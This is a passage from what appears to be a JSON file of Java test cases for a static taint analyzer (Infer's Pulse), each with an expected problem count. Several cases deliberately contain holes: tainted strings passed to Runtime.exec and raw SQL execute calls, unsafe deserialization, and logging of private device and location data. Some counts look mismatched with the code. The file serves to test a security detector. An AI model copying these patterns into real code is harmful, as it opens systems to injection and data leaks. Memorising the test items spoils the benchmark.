irrelevant = irrelevantPassthrough(param);\n return irrelevant;\n }\n\n public static Object irrelevantPassthroughsSinkInterprocedural(Object o) {\n Object source = InferTaint.inferSecretSource();\n Object relevant = relevantPassthrough(source);\n callSinkIrrelevantPassthrough(relevant);\n return irrelevantPassthrough(relevant);\n }\n\n public static Object irrelevantPassthroughsSourceAndSinkInterprocedural(Object o) {\n Object irrelevant = irrelevantPassthrough(o);\n Object source = returnSourceIrrelevantPassthrough(irrelevant);\n Object relevant = relevantPassthrough(source);\n callSinkIrrelevantPassthrough(relevant);\n return irrelevantPassthrough(relevant);\n }\n\n public static void callSinkVariadic(Object... params) {\n InferTaint.inferSensitiveSink(params);\n }\n\n public static void callSinkVariadicBad() {\n callSinkVariadic(null, null, InferTaint.inferSecretSource());\n }\n\n void diverge() {\n for (; ; ) ;\n }\n\n public void divergenceInCallee() {\n Object source = InferTaint.inferSecretSource();\n diverge();\n InferTaint.inferSensitiveSink(source);\n }\n\n public static void callSinkThenDiverge(Object param) {\n InferTaint.inferSensitiveSink(param);\n for (; ; ) ;\n }\n\n public void FN_callSinkThenDivergeBad() {\n callSinkThenDiverge(InferTaint.inferSecretSource());\n }\n\n public void callSinkOnParam(Object o) {\n InferTaint.inferSensitiveSink(o);\n }\n\n public void callSinkIndirectOnParam(Object o) {\n callSinkOnParam(o);\n }\n\n Obj propagate(Object param) {\n Obj o = new Obj();\n o.f = param;\n return o;\n }\n\n static Obj id2(Obj o) {\n return o;\n }\n\n void callSinkA(Obj o) {\n callSink1(o);\n }\n\n void callSinkB(Obj o) {\n callSink2(o);\n }\n\n void callSinkC(Obj o) {\n callSink3(o);\n }\n\n void callSinkD(Obj o) {\n callSink4(o);\n }\n\n void callSink1(Obj o) {\n InferTaint.inferSensitiveSink(id(o));\n }\n\n void callSink2(Obj o) {\n InferTaint.inferSensitiveSink(id2(o).f);\n }\n\n void callSink3(Obj o) {\n InferTaint.inferSensitiveSink(id(o.f));\n }\n\n void callSink4(Obj o) {\n InferTaint.inferSensitiveSink(o.f);\n }\n\n public void callDeepSinkIndirectBad() {\n Object source = InferTaint.inferSecretSource();\n callSinkIndirectOnParam(source);\n }\n\n // the sink is on source but source.f is tainted, not source\n public void FN_callDeepSink1Bad() {\n Obj source = propagate(InferTaint.inferSecretSource());\n callSinkA(source);\n }\n\n public void callDeepSink2Bad() {\n Obj source = propagate(InferTaint.inferSecretSource());\n callSinkB(source);\n }\n\n void callShallowSinkBad(Obj o) {\n o.f = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(id2(o).f);\n }\n\n public void callDeepSink3Bad() {\n Obj source = propagate(InferTaint.inferSecretSource());\n callSinkC(source);\n }\n\n public void callDeepSink4Bad() {\n Obj source = propagate(InferTaint.inferSecretSource());\n callSinkD(source);\n }\n\n public static void swapParams(Object o1, Object o2) {\n o1 = o2;\n }\n\n public static void assignSourceToParam(Object o) {\n o = InferTaint.inferSecretSource();\n }\n\n public static void swapParamsOk() {\n Object notASource = null;\n Object source = InferTaint.inferSecretSource();\n swapParams(notASource, source);\n InferTaint.inferSensitiveSink(notASource);\n }\n\n public static void assignSourceToParamOk() {\n Object o = null;\n assignSourceToParam(o);\n InferTaint.inferSensitiveSink(o);\n }\n}\n" + }, + { + "testname": "InterproceduralInterfileKind.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\npublic class InterproceduralInterfileKind {\n public static final int PHONE = 0;\n}\n" + }, + { + "testname": "InterproceduralInterfileLoggerWrapper.java", + "testlanguage": "java", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nclass Logger {\n static void log(int s) {}\n}\n\npublic class InterproceduralInterfileLoggerWrapper {\n static void log(int s) {\n Logger.log(s);\n }\n}\n" + }, + { + "testname": "InterproceduralInterfileTaint.java", + "testlanguage": "java", + "expected-problems": 2, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nclass InterprocedurlaInterfileTaint {\n void taintedUserToLogBad() {\n InterproceduralInterfileLoggerWrapper.log(\n InterproceduralInterfileUserInfo.getUserInfo(InterproceduralInterfileKind.PHONE));\n }\n}\n" + }, + { + "testname": "InterproceduralInterfileUser.java", + "testlanguage": "java", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\npublic class InterproceduralInterfileUser {\n String name;\n\n InterproceduralInterfileUser(String name) {\n name = name;\n }\n\n int getPhoneNumber() {\n return 42;\n }\n}\n" + }, + { + "testname": "InterproceduralInterfileUserInfo.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\npublic class InterproceduralInterfileUserInfo {\n static int getUserInfo(int k) {\n InterproceduralInterfileUser user = new InterproceduralInterfileUser(\"Martha\");\n if (k == InterproceduralInterfileKind.PHONE) {\n return InterproceduralInterfileUserWrapper.getPhoneNumber(user);\n }\n return 0;\n }\n}\n" + }, + { + "testname": "InterproceduralInterfileUserWrapper.java", + "testlanguage": "java", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\npublic class InterproceduralInterfileUserWrapper {\n static Integer getPhoneNumber(InterproceduralInterfileUser user) {\n return user.getPhoneNumber();\n }\n}\n" + }, + { + "testname": "Lambdas.java", + "testlanguage": "java", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nimport java.util.function.Function;\n\npublic class Lambdas {\n\n Function createFunctionWithTaintedParam() {\n Object object = InferTaint.inferSecretSource();\n return n -> {\n InferTaint.inferSensitiveSink(object);\n return String.valueOf(n);\n };\n }\n\n String invokeFunction(Function function) {\n return function.apply(42);\n }\n\n String createAndInvokeFunctionBad() {\n Function function = createFunctionWithTaintedParam();\n return invokeFunction(function);\n }\n\n String createAndInvokeFunctionBad2() {\n Function function = createFunctionWithTaintedParam();\n return function.apply(42);\n }\n\n Function createFunctionFromAnonymousClassWithTaintedParam() {\n Object object = InferTaint.inferSecretSource();\n return new Function() {\n @Override\n public String apply(Integer n) {\n InferTaint.inferSensitiveSink(object);\n return String.valueOf(n);\n }\n };\n }\n\n String createAndInvokeFunctionFromAnonymousClassBad() {\n Function function = createFunctionFromAnonymousClassWithTaintedParam();\n return invokeFunction(function);\n }\n\n String createAndInvokeFunctionFromAnonymousClassBad2() {\n Function function = createFunctionFromAnonymousClassWithTaintedParam();\n return function.apply(42);\n }\n}\n" + }, + { + "testname": "LoggingPrivateData.java", + "testlanguage": "java", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nimport android.location.Location;\nimport android.telephony.TelephonyManager;\nimport android.util.Log;\n\npublic class LoggingPrivateData {\n\n private native int rand();\n\n public void logAllSourcesBad(Location l, TelephonyManager t) {\n String source = null;\n switch (rand()) {\n case 1:\n source = String.valueOf(l.getAltitude());\n break;\n case 2:\n source = String.valueOf(l.getBearing());\n break;\n case 3:\n source = String.valueOf(l.getLatitude());\n break;\n case 4:\n source = String.valueOf(l.getLongitude());\n break;\n case 5:\n source = String.valueOf(l.getSpeed());\n break;\n case 6:\n source = t.getDeviceId();\n break;\n case 7:\n source = t.getLine1Number();\n break;\n case 8:\n source = t.getSimSerialNumber();\n break;\n case 9:\n source = t.getSubscriberId();\n break;\n case 10:\n source = t.getVoiceMailNumber();\n break;\n }\n\n String TAG = \"tag\";\n Log.e(TAG, source);\n Log.println(0, TAG, source);\n Log.w(TAG, source);\n Log.wtf(TAG, source); // 10 sources * 4 sinks = 40 expected reports\n }\n}\n" + }, + { + "testname": "MapExamples.java", + "testlanguage": "java", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nimport java.util.Map;\n\npublic class MapExamples {\n\n native Map split1(Object s);\n\n void propagateTaintOnMap1Bad_FN() {\n Object object = InferTaint.inferSecretSource();\n Map map = split1(object);\n String value = map.get(\"Whatever\");\n InferTaint.inferSensitiveSink(value); // Taint flow not reported here\n }\n\n native Map split2(Object s);\n\n // doesn't work with pulse-taint-check-history flag\n void propagateTaintOnMap2Bad_FN() {\n Object object = InferTaint.inferSecretSource();\n Map map = split2(object);\n String value = \"\";\n if (!map.isEmpty()) {\n String[] whatever = map.get(\"Whatever\");\n if (whatever != null) value = whatever[0];\n }\n InferTaint.inferSensitiveSink(value);\n }\n\n static void wrapper(String s) {\n InferTaint.inferSensitiveSink(s);\n }\n\n // doesn't work with pulse-taint-check-history flag\n void propagateTaintOnMap3Bad_FN() {\n Object object = InferTaint.inferSecretSource();\n Map map = split2(object);\n String value = null;\n if (!map.isEmpty()) {\n String[] whatever = map.get(\"Whatever\");\n if (whatever != null) value = whatever[0];\n }\n wrapper(value);\n }\n\n void propagateTaintOnMap4Bad_FN() {\n Object object = InferTaint.inferSecretSource();\n Map map = split2(object);\n String value = \"\";\n if (!map.isEmpty()) {\n String[] whatever = map.get(\"Whatever\");\n if (whatever != null) value = whatever[0];\n }\n wrapper(value); // Taint flow not reported here\n }\n}\n" + }, + { + "testname": "Recursion.java", + "testlanguage": "java", + "expected-problems": 22, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\npublic class Recursion {\n\n public static void divergeOk() {\n divergeOk();\n }\n\n public static void callSinkThenDiverge(Object param) {\n InferTaint.inferSensitiveSink(param);\n callSinkThenDiverge(param);\n }\n\n public static void callSinkThenDivergeBad() {\n callSinkThenDiverge(InferTaint.inferSecretSource());\n }\n\n public static void safeRecursionCallSink(int i, Object param) {\n if (i == 0) return;\n InferTaint.inferSensitiveSink(param);\n safeRecursionCallSink(i - 1, param);\n }\n\n public static void safeRecursionCallSinkBad() {\n safeRecursionCallSink(5, InferTaint.inferSecretSource());\n }\n\n // TODO (#16595757): Requires support for recursion in Ondemand\n public static void FN_recursionBad(int i, Object param) {\n if (i == 0) return;\n InferTaint.inferSensitiveSink(param);\n FN_recursionBad(i - 1, InferTaint.inferSecretSource());\n }\n}\n" + }, + { + "testname": "SanitizerMarker.java", + "testlanguage": "java", + "expected-problems": 0, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\n@interface SanitizerMarker {}\n" + }, + { + "testname": "SensitiveSinkMarker.java", + "testlanguage": "java", + "expected-problems": 0, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\n@interface SensitiveSinkMarker {}\n" + }, + { + "testname": "SensitiveSourceMarker.java", + "testlanguage": "java", + "expected-problems": 0, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\n@interface SensitiveSourceMarker {}\n" + }, + { + "testname": "SensitiveSourceMarker2.java", + "testlanguage": "java", + "expected-problems": 0, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\n@interface SensitiveSourceMarker2 {}\n" + }, + { + "testname": "SensitiveSourceMarkerType.java", + "testlanguage": "java", + "expected-problems": 1, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\npublic enum SensitiveSourceMarkerType {\n LOCATION,\n EMAIL,\n OTHER\n}\n" + }, + { + "testname": "SensitiveSourceMarkerWithValue.java", + "testlanguage": "java", + "expected-problems": 0, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\n@interface SensitiveSourceMarkerWithValue {\n\n SensitiveSourceMarkerType value();\n}\n" + }, + { + "testname": "Serialization.java", + "testlanguage": "java", + "expected-problems": 2, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.ObjectInputStream;\n\npublic class Serialization {\n\n // we could warn on only particular calls to the tainted ObjectInputStream (e.g., readObject,\n // readUnshared), but nothing good can come from creating a tainted ObjectInputStream\n Object taintedObjectInputStreamBad() throws IOException, ClassNotFoundException {\n Object source = InferTaint.inferSecretSource();\n ObjectInputStream stream = new ObjectInputStream((InputStream) source); // report here\n return stream.readObject();\n }\n}\n" + }, + { + "testname": "Services.java", + "testlanguage": "java", + "expected-problems": 35, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nimport java.io.IOException;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.sql.SQLException;\nimport java.sql.Statement;\n\nclass Services {}\n\n@Retention(RetentionPolicy.CLASS)\n@interface ThriftService {}\n\n@ThriftService\ninterface GeneratedServiceInterface {\n public void serviceMethodBad(String s) throws IOException;\n\n public void paramToSql1Bad(String s) throws SQLException;\n\n public void paramToSql2Bad(String s) throws SQLException;\n\n public void paramToSql3Bad(String s) throws SQLException;\n\n public void paramToSql4Bad(String s) throws SQLException;\n\n public void paramToSql5Bad(String s) throws SQLException;\n\n void packageProtectedServiceMethodBad(String s) throws IOException;\n}\n\nclass Service1 implements GeneratedServiceInterface {\n\n @Override\n public void serviceMethodBad(String s) throws IOException {\n Runtime.getRuntime().exec(s); // RCE if s is tainted, we should warn\n }\n\n Statement mStatement;\n\n @Override\n public void paramToSql1Bad(String s) throws SQLException {\n mStatement.execute(s);\n }\n\n @Override\n public void paramToSql2Bad(String s) throws SQLException {\n mStatement.executeLargeUpdate(s);\n }\n\n @Override\n public void paramToSql3Bad(String s) throws SQLException {\n mStatement.executeQuery(s);\n }\n\n @Override\n public void paramToSql4Bad(String s) throws SQLException {\n mStatement.executeUpdate(s);\n }\n\n @Override\n public void paramToSql5Bad(String s) throws SQLException {\n mStatement.addBatch(s);\n mStatement.executeBatch();\n }\n\n @Override\n public void packageProtectedServiceMethodBad(String s) throws IOException {\n Runtime.getRuntime().exec(s);\n }\n\n // doesn't override a method from the service interface; not an endpoint\n public void publicMethodNotEndpointOk(String s) throws IOException {\n Runtime.getRuntime().exec(s);\n }\n\n // same\n protected void protectedMethodNotEndpointOk(String s) throws IOException {\n Runtime.getRuntime().exec(s);\n }\n\n void packageProtectedMethodNotEndpointOk(String s) throws IOException {\n Runtime.getRuntime().exec(s);\n }\n\n // same\n private void privateMethodNotEndpointOk(String s) throws IOException {\n Runtime.getRuntime().exec(s);\n }\n}\n" + }, + { + "testname": "Streams.java", + "testlanguage": "java", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nimport java.io.IOException;\nimport java.io.InputStream;\n\npublic class Streams {\n\n int bufferSize = 1024;\n\n void copyBad() throws IOException {\n InputStream tainted = (InputStream) InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(read(tainted.toString().getBytes()));\n }\n\n void copyBadFN() throws IOException {\n InputStream tainted = (InputStream) InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(read(tainted));\n }\n\n void copyBad1FN() throws IOException {\n InputStream tainted = (InputStream) InferTaint.inferSecretSource();\n byte[] data = new byte[24];\n tainted.read(data);\n InferTaint.inferSensitiveSink(data);\n }\n\n void systemArrayCopyBadFN() throws IOException {\n InputStream tainted = (InputStream) InferTaint.inferSecretSource();\n byte[] data = read(tainted.toString().getBytes());\n byte[] buffer = new byte[bufferSize];\n System.arraycopy(data, 0, buffer, 0, data.length);\n InferTaint.inferSensitiveSink(buffer);\n }\n\n byte[] read(InputStream is) throws IOException {\n return read(is.toString().getBytes());\n }\n\n byte[] read(byte[] data) {\n byte[] buffer = new byte[bufferSize];\n for (int i = 0; i < data.length; ++i) {\n buffer[i] = data[i];\n }\n return buffer;\n }\n}\n" + }, + { + "testname": "Strings.java", + "testlanguage": "java", + "expected-problems": 12, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nimport java.util.Formatter;\n\n/**\n * a lot of tainted values are strings, so propagation through StringBuilder's and the like is very\n * important.\n */\npublic class Strings {\n\n void viaStringBuilderSugarBad() {\n Object source = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(source + \"\");\n }\n\n void viaStringBuilderBad() {\n Object source = InferTaint.inferSecretSource();\n StringBuilder builder = new StringBuilder();\n InferTaint.inferSensitiveSink(builder.append(source).append(\"\").toString());\n }\n\n void viaStringBuilderIgnoreReturnBad() {\n Object source = InferTaint.inferSecretSource();\n StringBuilder builder = new StringBuilder();\n // builder should be tainted after this call even though we ignore the return value\n builder.append(source);\n InferTaint.inferSensitiveSink(builder.toString());\n }\n\n void viaStringBufferBad() {\n Object source = InferTaint.inferSecretSource();\n StringBuffer buffer = new StringBuffer();\n InferTaint.inferSensitiveSink(buffer.append(\"\").append(source).toString());\n }\n\n void viaStringBufferIgnoreReturnBad() {\n Object source = InferTaint.inferSecretSource();\n StringBuffer buffer = new StringBuffer();\n buffer.append(source);\n InferTaint.inferSensitiveSink(buffer.toString());\n }\n\n void viaFormatterBad() {\n Object source = InferTaint.inferSecretSource();\n Formatter formatter = new Formatter();\n InferTaint.inferSensitiveSink(formatter.format(\"%s\", source).toString());\n }\n\n void viaFormatterIgnoreReturnBad() {\n Object source = InferTaint.inferSecretSource();\n Formatter formatter = new Formatter();\n formatter.format(\"%s\", source);\n InferTaint.inferSensitiveSink(formatter.toString());\n }\n\n void viaStringFormatVarArgsDirectBad() {\n Object source = InferTaint.inferSecretSource();\n String tainted = String.format(\"%s%s\", \"hi\", source);\n InferTaint.inferSensitiveSink(tainted);\n }\n\n void viaStringFormatVarArgsIndirect(Object param) {\n String tainted = String.format(\"%s%s\", \"hi\", param);\n InferTaint.inferSensitiveSink(tainted);\n }\n\n void viaStringFormatVarArgsIndirectBad() {\n viaStringFormatVarArgsIndirect(InferTaint.inferSecretSource());\n }\n}\n" + }, + { + "testname": "TaintedFormals.java", + "testlanguage": "java", + "expected-problems": 26, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nimport android.app.Activity;\nimport android.content.Intent;\nimport java.net.URISyntaxException;\n\nclass Obj {\n Object f;\n}\n\npublic class TaintedFormals {\n\n public Activity mActivity;\n\n public void callSink(Object formal) {\n InferTaint.inferSensitiveSink(formal);\n }\n\n // taintedFormal1 and taintedFormal2 are modeled as tainted\n public void taintedContextBad(\n String taintedFormal1, Intent untaintedFormal, Integer taintedFormal2) {\n InferTaint.inferSensitiveSink(taintedFormal1); // should report here\n InferTaint.inferSensitiveSink(taintedFormal2); // should report here\n callSink(taintedFormal1); // should report here\n callSink(taintedFormal2); // should report here\n\n // using different sink to avoid confusion with the above\n mActivity.startService(untaintedFormal); // should not report here\n }\n\n public Object taintedContextBad(String taintedFormal) {\n return taintedFormal;\n }\n\n public void callTaintedContextBad1(String formal) {\n Object tainted = taintedContextBad(formal);\n InferTaint.inferSensitiveSink(tainted);\n }\n\n public void callTaintedContextBad2() throws URISyntaxException {\n Intent intent = Intent.parseUri(\"\", 0);\n taintedContextBad(null, intent, null);\n }\n\n public void callTaintedContextOk1() {\n taintedContextBad(\"foo\", null, null);\n }\n\n // shouldn't report here, otherwise we will double report\n public void callTaintedContextOk2() {\n taintedContextBad(null, null, new Integer(1));\n }\n\n // first parameter is tainted based on the config\n void firstParameterTainted(Object tainted, Object notTainted) {\n // should be tainted\n InferTaint.inferSensitiveSink(tainted);\n // should not be tainted\n InferTaint.inferSensitiveSink(notTainted);\n }\n\n void callbackAnonymousClassTaintedBad() {\n InferTaint.addCallback(\n new Callback() {\n // result parameter is tainted based on the config\n public void onCompletion(Object result) {\n InferTaint.inferSensitiveSink(result);\n }\n });\n }\n\n void callbackLambdaTaintedBad() {\n InferTaint.addCallback(\n // result parameter is tainted based on the config\n result -> {\n InferTaint.inferSensitiveSink(result);\n });\n }\n\n // first parameter of constructor is tainted\n TaintedFormals(Object tainted) {\n InferTaint.inferSensitiveSink(tainted);\n }\n\n static void staticFirstParameterTainted(Object tainted) {\n InferTaint.inferSensitiveSink(tainted);\n }\n\n void instanceFirstParameterTainted(Object tainted) {\n InferTaint.inferSensitiveSink(tainted);\n }\n}\n" + }, + { + "testname": "TaintedThis.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\npublic class TaintedThis {\n private String field = \"instanceField\";\n\n void taintThisBad() {\n InferTaint.inferSensitiveSink(field);\n }\n\n void thisIsNotTaintedOk() {\n InferTaint.inferSensitiveSink(field);\n }\n}\n" + }, + { + "testname": "TaintExample.java", + "testlanguage": "java", + "expected-problems": 70, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.pulse;\n\nimport android.content.ContentValues;\nimport android.content.SharedPreferences;\nimport com.facebook.infer.annotation.IntegritySink;\nimport com.facebook.infer.annotation.IntegritySource;\nimport com.facebook.infer.annotation.PrivacySink;\nimport com.facebook.infer.annotation.PrivacySource;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.Socket;\nimport javax.net.ssl.HostnameVerifier;\nimport javax.net.ssl.SSLException;\nimport javax.net.ssl.SSLSession;\nimport javax.net.ssl.SSLSocket;\nimport javax.net.ssl.SSLSocketFactory;\n\npublic class TaintExample {\n\n public InputStream socketNotVerifiedSimple_FN(SSLSocketFactory f) throws IOException {\n Socket socket = f.createSocket();\n return socket.getInputStream();\n }\n\n public InputStream socketVerifiedForgotToCheckRetval_FN(\n SSLSocketFactory f, HostnameVerifier v, SSLSession session) throws IOException {\n\n Socket socket = f.createSocket();\n v.verify(\"hostname\", session);\n return socket.getInputStream();\n }\n\n public InputStream socketVerifiedOk1(SSLSocketFactory f, HostnameVerifier v, SSLSession session)\n throws IOException {\n\n Socket socket = f.createSocket();\n if (v.verify(\"hostname\", session)) {\n return socket.getInputStream();\n } else {\n return null;\n }\n }\n\n HostnameVerifier mHostnameVerifier;\n\n public void throwExceptionIfNoVerify(SSLSocket sslSocket, String host) throws IOException {\n\n if (!mHostnameVerifier.verify(host, sslSocket.getSession())) {\n throw new SSLException(\"Couldn't verify!\");\n }\n }\n\n public InputStream socketVerifiedOk2(SSLSocketFactory f) throws IOException {\n SSLSocket s = (SSLSocket) f.createSocket();\n throwExceptionIfNoVerify(s, \"hostname\");\n return s.getInputStream();\n }\n\n public InputStream socketIgnoreExceptionNoVerify_FN(SSLSocketFactory f) throws IOException {\n\n SSLSocket s = (SSLSocket) f.createSocket();\n try {\n throwExceptionIfNoVerify(s, \"hostname\");\n } catch (SSLException e) {\n // ignore the fact that verifying the socket failed\n }\n return s.getInputStream();\n }\n\n public InputStream taintingShouldNotPreventInference1_FN(SSLSocketFactory f) throws IOException {\n socketNotVerifiedSimple_FN(f).toString();\n // failing to infer a post for socketNotVerifiedSimple will hide this error\n Socket s = f.createSocket();\n return s.getInputStream();\n }\n\n public InputStream readInputStream(Socket socket) throws IOException {\n return socket.getInputStream();\n }\n\n // if we're not careful, postcondition inference will fail for this function\n Socket callReadInputStreamCauseTaintError_FN(SSLSocketFactory f) throws IOException {\n Socket socket = f.createSocket();\n InputStream s = readInputStream(socket);\n s.toString(); // to avoid RETURN_VALUE_IGNORED warning\n return f.createSocket();\n }\n\n InputStream taintingShouldNotPreventInference2(SSLSocketFactory f) throws IOException {\n // if inference fails for this callee, we won't report an error here\n Socket s = callReadInputStreamCauseTaintError_FN(f);\n return s.getInputStream();\n }\n\n public void simpleTaintErrorWithModelMethods() {\n Object o = InferTaint.inferSecretSource();\n InferTaint.inferSensitiveSink(o);\n }\n\n public Object returnTaintedSourceModelMethods() {\n return InferTaint.inferSecretSource();\n }\n\n public void callSinkMethodModelMethods(Object o) {\n InferTaint.inferSensitiveSink(o);\n }\n\n public void interprocTaintErrorWithModelMethods1() {\n InferTaint.inferSensitiveSink(returnTaintedSourceModelMethods());\n }\n\n public void interprocTaintErrorWithModelMethods2() {\n callSinkMethodModelMethods(InferTaint.inferSecretSource());\n }\n\n public void interprocTaintErrorWithModelMethods3() {\n callSinkMethodModelMethods(returnTaintedSourceModelMethods());\n }\n\n public void simpleTaintErrorWithModelMethodsUndefined() {\n Object o = InferTaint.inferSecretSourceUndefined();\n InferTaint.inferSensitiveSinkUndefined(o);\n }\n\n public Object returnTaintedSourceModelMethodsUndefined() {\n return InferTaint.inferSecretSourceUndefined();\n }\n\n public void callSinkMethodModelMethodsUndefined(Object o) {\n InferTaint.inferSensitiveSinkUndefined(o);\n }\n\n public void interprocTaintErrorWithModelMethodsUndefined1() {\n InferTaint.inferSensitiveSinkUndefined(returnTaintedSourceModelMethodsUndefined());\n }\n\n public void interprocTaintErrorWithModelMethodsUndefined2() {\n callSinkMethodModelMethodsUndefined(InferTaint.inferSecretSourceUndefined());\n }\n\n public void interprocTaintErrorWithModelMethodsUndefined3() {\n callSinkMethodModelMethodsUndefined(returnTaintedSourceModelMethodsUndefined());\n }\n\n public void contentValuesPutWithTaintedString_FN(\n ContentValues values, SharedPreferences prefs, String key, String value) {\n values.put(key, prefs.getString(key, value));\n }\n\n public void contentValuesPutOk(ContentValues values, String key, String value) {\n values.put(key, value);\n }\n\n @PrivacySource\n public String privacySource() {\n return \"source\";\n }\n\n public void testPrivacySourceAnnot_FN() {\n InferTaint.inferSensitiveSinkUndefined(privacySource()); // should report\n }\n\n public void instancePrivacySink(@PrivacySink String s1, String s2) {}\n\n public static void staticPrivacySink(@PrivacySink String s1, String s2) {}\n\n public void testPrivacySinkAnnot1_FN() {\n String source = privacySource();\n instancePrivacySink(source, \"\"); // should report\n }\n\n public void testPrivacySinkAnnot2() {\n String source = privacySource();\n instancePrivacySink(\"\", source); // should not report\n }\n\n public void testPrivacySinkAnnot3_FN() {\n String source = privacySource();\n staticPrivacySink(source, \"\"); // should report\n }\n\n public void testPrivacySinkAnnot4() {\n String source = privacySource();\n staticPrivacySink(\"\", source); // should not report\n }\n\n @PrivacySource String mPrivacySource;\n\n @PrivacySource String sPrivacySource;\n\n public void testPrivacySourceInstanceFieldAnnot_FN() {\n String source = mPrivacySource;\n InferTaint.inferSensitiveSinkUndefined(source); // should report\n }\n\n public void testPrivacySourceStaticFieldAnnot_FN() {\n String source = sPrivacySource;\n InferTaint.inferSensitiveSinkUndefined(source); // should report\n }\n\n String aFieldWithoutAnnotations;\n\n public void testPrivacySourceFieldAnnotPropagation_FN() {\n aFieldWithoutAnnotations = mPrivacySource;\n InferTaint.inferSensitiveSinkUndefined(aFieldWithoutAnnotations); // should report\n }\n\n @IntegritySource\n public String integritySource() {\n return \"source\";\n }\n\n @IntegritySource String mIntegritySource;\n\n @IntegritySource String sIntegritySource;\n\n public void testIntegritySourceAnnot_FN() {\n InferTaint.inferSensitiveSinkUndefined(integritySource()); // should report\n }\n\n public void testIntegritySourceInstanceFieldAnnot_FN() {\n String source = mIntegritySource;\n InferTaint.inferSensitiveSinkUndefined(source); // should report\n }\n\n public void testIntegritySourceStaticFieldAnnot_FN() {\n String source = sIntegritySource;\n InferTaint.inferSensitiveSinkUndefined(source); // should report\n }\n\n public void integritySink(@IntegritySink String s1, String s2) {}\n\n void testIntegritySinkAnnotReport_FN(String s) {\n integritySink(integritySource(), s); // should report\n }\n\n void 